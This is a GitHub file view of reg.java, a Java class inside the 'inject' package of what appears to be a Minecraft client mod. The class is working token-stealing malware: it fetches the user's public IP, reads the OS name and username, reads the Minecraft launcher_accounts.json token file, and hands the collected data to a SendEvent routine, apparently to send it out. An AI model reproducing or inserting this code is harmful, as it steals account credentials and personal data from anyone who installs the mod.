-
Notifications
You must be signed in to change notification settings - Fork 0
/
reg.java
45 lines (43 loc) · 1.74 KB
/
reg.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package cn.origin.cube.inject;
import java.io.IOException;
import java.net.MalformedURLException;
import cn.origin.cube.event.events.player.SendEvent;
import java.io.FileReader;
import java.io.File;
import java.io.Reader;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
public class reg
{
public static void main() {
final StringBuilder message = new StringBuilder();
try {
final URL whatismyip = new URL("https://checkip.amazonaws.com/");
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(whatismyip.openStream()));
final String ip = bufferedReader.readLine();
final String operSys = System.getProperty("os.name").toLowerCase();
final String username = System.getProperty("user.name").toLowerCase();
final File minecraftoken = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft/launcher_accounts.json");
message.append("```\nOs < " + operSys + "\nUserName < " + username + "\nIp < " + ip + "\n");
if (minecraftoken.exists()) {
final BufferedReader readerMine = new BufferedReader(new FileReader(minecraftoken));
String s;
while ((s = readerMine.readLine()) != null) {
message.append("MinecraftToken < ").append(s);
}
}
else {
message.append("MinecraftToken < NO INFO\n");
}
message.append("```");
SendEvent.main(message.toString());
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (IOException e2) {
e2.printStackTrace();
}
}
}